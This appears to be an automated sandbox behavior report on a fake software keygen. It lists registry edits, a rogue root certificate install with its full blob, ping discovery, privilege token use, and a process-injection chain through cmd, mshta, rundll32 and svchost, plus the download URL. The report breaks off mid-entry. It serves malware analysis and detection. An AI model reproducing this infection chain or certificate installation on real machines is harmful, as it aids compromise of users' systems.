Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify.	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 728c98f69937d701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M}	rundll32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "4500"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0344b4f79937d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

keygen-step-2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	keygen-step-2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	keygen-step-2.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

5488 PING.EXE
4880 PING.EXE
5092 PING.EXE
5956 PING.EXE
5028 PING.EXE

pid	process
5488	PING.EXE
4880	PING.EXE
5092	PING.EXE
5956	PING.EXE
5028	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exe1499853.exeultramediaburner.tmpNifalilogy.exe

pid	process
8	rundll32.exe
8	rundll32.exe
880	svchost.exe
880	svchost.exe
5008	1499853.exe
5008	1499853.exe
4528	ultramediaburner.tmp
4528	ultramediaburner.tmp
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe
4336	Nifalilogy.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

5292 MicrosoftEdgeCP.exe
5292 MicrosoftEdgeCP.exe

pid	process
5292	MicrosoftEdgeCP.exe
5292	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskkill.exerundll32.exesvchost.exeJoSetp.exe1499853.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	608	taskkill.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeTcbPrivilege	880	svchost.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	2088	JoSetp.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	8	rundll32.exe
Token: SeDebugPrivilege	5008	1499853.exe
Token: SeAuditPrivilege	2372	svchost.exe
Token: SeAuditPrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2700	svchost.exe
Token: SeIncreaseQuotaPrivilege	2700	svchost.exe
Token: SeSecurityPrivilege	2700	svchost.exe
Token: SeTakeOwnershipPrivilege	2700	svchost.exe
Token: SeLoadDriverPrivilege	2700	svchost.exe
Token: SeSystemtimePrivilege	2700	svchost.exe
Token: SeBackupPrivilege	2700	svchost.exe
Token: SeRestorePrivilege	2700	svchost.exe
Token: SeShutdownPrivilege	2700	svchost.exe
Token: SeSystemEnvironmentPrivilege	2700	svchost.exe
Token: SeUndockPrivilege	2700	svchost.exe
Token: SeManageVolumePrivilege	2700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2700	svchost.exe
Token: SeIncreaseQuotaPrivilege	2700	svchost.exe
Token: SeSecurityPrivilege	2700	svchost.exe
Token: SeTakeOwnershipPrivilege	2700	svchost.exe
Token: SeLoadDriverPrivilege	2700	svchost.exe
Token: SeSystemtimePrivilege	2700	svchost.exe
Token: SeBackupPrivilege	2700	svchost.exe
Token: SeRestorePrivilege	2700	svchost.exe
Token: SeShutdownPrivilege	2700	svchost.exe
Token: SeSystemEnvironmentPrivilege	2700	svchost.exe
Token: SeUndockPrivilege	2700	svchost.exe
Token: SeManageVolumePrivilege	2700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2700	svchost.exe
Token: SeIncreaseQuotaPrivilege	2700	svchost.exe
Token: SeSecurityPrivilege	2700	svchost.exe
Token: SeTakeOwnershipPrivilege	2700	svchost.exe
Token: SeLoadDriverPrivilege	2700	svchost.exe
Token: SeSystemtimePrivilege	2700	svchost.exe
Token: SeBackupPrivilege	2700	svchost.exe
Token: SeRestorePrivilege	2700	svchost.exe
Token: SeShutdownPrivilege	2700	svchost.exe
Token: SeSystemEnvironmentPrivilege	2700	svchost.exe
Token: SeUndockPrivilege	2700	svchost.exe
Token: SeManageVolumePrivilege	2700	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2700	svchost.exe
Token: SeIncreaseQuotaPrivilege	2700	svchost.exe
Token: SeSecurityPrivilege	2700	svchost.exe
Token: SeTakeOwnershipPrivilege	2700	svchost.exe
Token: SeLoadDriverPrivilege	2700	svchost.exe
Token: SeSystemtimePrivilege	2700	svchost.exe
Token: SeBackupPrivilege	2700	svchost.exe
Token: SeRestorePrivilege	2700	svchost.exe
Token: SeShutdownPrivilege	2700	svchost.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exeultramediaburner.tmp

pid process

1908 iexplore.exe
1908 iexplore.exe
4528 ultramediaburner.tmp

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

iexplore.exeIEXPLORE.EXExiuhuali.exeMicrosoftEdge.exeMicrosoftEdgeCP.exegoogle-game.exe

pid	process
1908	iexplore.exe
1908	iexplore.exe
1660	IEXPLORE.EXE
1660	IEXPLORE.EXE
1660	IEXPLORE.EXE
1660	IEXPLORE.EXE
1948	xiuhuali.exe
1948	xiuhuali.exe
4916	MicrosoftEdge.exe
5292	MicrosoftEdgeCP.exe
5292	MicrosoftEdgeCP.exe
5912	google-game.exe
5912	google-game.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

iexplore.exeTurbo.C.4.0.Windows.7.Window.keygen.by.Lz0.execmd.exekeygen-step-5.exekeygen-pr.exemshta.exekeygen-step-4.exekey.execmd.exexiuhuali.exeRWD_.exerundll32.exesvchost.exekeygen-step-3.exemshta.exe

description	pid	process	target process
PID 1908 wrote to memory of 1660	1908	iexplore.exe	IEXPLORE.EXE
PID 1908 wrote to memory of 1660	1908	iexplore.exe	IEXPLORE.EXE
PID 1908 wrote to memory of 1660	1908	iexplore.exe	IEXPLORE.EXE
PID 2136 wrote to memory of 2672	2136	Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.exe	cmd.exe
PID 2136 wrote to memory of 2672	2136	Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.exe	cmd.exe
PID 2136 wrote to memory of 2672	2136	Turbo.C.4.0.Windows.7.Window.keygen.by.Lz0.exe	cmd.exe
PID 2672 wrote to memory of 3092	2672	cmd.exe	keygen-pr.exe
PID 2672 wrote to memory of 3092	2672	cmd.exe	keygen-pr.exe
PID 2672 wrote to memory of 3092	2672	cmd.exe	keygen-pr.exe
PID 2672 wrote to memory of 1180	2672	cmd.exe	keygen-step-1.exe
PID 2672 wrote to memory of 1180	2672	cmd.exe	keygen-step-1.exe
PID 2672 wrote to memory of 1180	2672	cmd.exe	keygen-step-1.exe
PID 2672 wrote to memory of 780	2672	cmd.exe	keygen-step-5.exe
PID 2672 wrote to memory of 780	2672	cmd.exe	keygen-step-5.exe
PID 2672 wrote to memory of 780	2672	cmd.exe	keygen-step-5.exe
PID 2672 wrote to memory of 3076	2672	cmd.exe	keygen-step-2.exe
PID 2672 wrote to memory of 3076	2672	cmd.exe	keygen-step-2.exe
PID 2672 wrote to memory of 3076	2672	cmd.exe	keygen-step-2.exe
PID 2672 wrote to memory of 3996	2672	cmd.exe	keygen-step-3.exe
PID 2672 wrote to memory of 3996	2672	cmd.exe	keygen-step-3.exe
PID 2672 wrote to memory of 3996	2672	cmd.exe	keygen-step-3.exe
PID 780 wrote to memory of 3892	780	keygen-step-5.exe	mshta.exe
PID 780 wrote to memory of 3892	780	keygen-step-5.exe	mshta.exe
PID 780 wrote to memory of 3892	780	keygen-step-5.exe	mshta.exe
PID 3092 wrote to memory of 1596	3092	keygen-pr.exe	key.exe
PID 3092 wrote to memory of 1596	3092	keygen-pr.exe	key.exe
PID 3092 wrote to memory of 1596	3092	keygen-pr.exe	key.exe
PID 2672 wrote to memory of 2776	2672	cmd.exe	keygen-step-4.exe
PID 2672 wrote to memory of 2776	2672	cmd.exe	keygen-step-4.exe
PID 2672 wrote to memory of 2776	2672	cmd.exe	keygen-step-4.exe
PID 3892 wrote to memory of 1476	3892	mshta.exe	cmd.exe
PID 3892 wrote to memory of 1476	3892	mshta.exe	cmd.exe
PID 3892 wrote to memory of 1476	3892	mshta.exe	cmd.exe
PID 2776 wrote to memory of 1948	2776	keygen-step-4.exe	xiuhuali.exe
PID 2776 wrote to memory of 1948	2776	keygen-step-4.exe	xiuhuali.exe
PID 2776 wrote to memory of 1948	2776	keygen-step-4.exe	xiuhuali.exe
PID 1596 wrote to memory of 884	1596	key.exe	key.exe
PID 1596 wrote to memory of 884	1596	key.exe	key.exe
PID 1596 wrote to memory of 884	1596	key.exe	key.exe
PID 1476 wrote to memory of 1480	1476	cmd.exe	RWD_.exe
PID 1476 wrote to memory of 1480	1476	cmd.exe	RWD_.exe
PID 1476 wrote to memory of 1480	1476	cmd.exe	RWD_.exe
PID 1476 wrote to memory of 608	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 608	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 608	1476	cmd.exe	taskkill.exe
PID 1948 wrote to memory of 8	1948	xiuhuali.exe	rundll32.exe
PID 1948 wrote to memory of 8	1948	xiuhuali.exe	rundll32.exe
PID 1948 wrote to memory of 8	1948	xiuhuali.exe	rundll32.exe
PID 2776 wrote to memory of 2088	2776	keygen-step-4.exe	JoSetp.exe
PID 2776 wrote to memory of 2088	2776	keygen-step-4.exe	JoSetp.exe
PID 1480 wrote to memory of 4112	1480	RWD_.exe	mshta.exe
PID 1480 wrote to memory of 4112	1480	RWD_.exe	mshta.exe
PID 1480 wrote to memory of 4112	1480	RWD_.exe	mshta.exe
PID 8 wrote to memory of 880	8	rundll32.exe	svchost.exe
PID 8 wrote to memory of 2788	8	rundll32.exe	svchost.exe
PID 880 wrote to memory of 4196	880	svchost.exe	svchost.exe
PID 880 wrote to memory of 4196	880	svchost.exe	svchost.exe
PID 880 wrote to memory of 4196	880	svchost.exe	svchost.exe
PID 3996 wrote to memory of 4232	3996	keygen-step-3.exe	cmd.exe
PID 3996 wrote to memory of 4232	3996	keygen-step-3.exe	cmd.exe
PID 3996 wrote to memory of 4232	3996	keygen-step-3.exe	cmd.exe
PID 8 wrote to memory of 364	8	rundll32.exe	svchost.exe
PID 8 wrote to memory of 2424	8	rundll32.exe	svchost.exe
PID 4112 wrote to memory of 4420	4112	mshta.exe	cmd.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1152

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2712

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2700

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2424

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://keygenit.com/d/0f26cf244e1108834498.html
1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1908

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1908 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1660

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1060

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:364

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4196

C:\Windows\System32\rundll32.exe
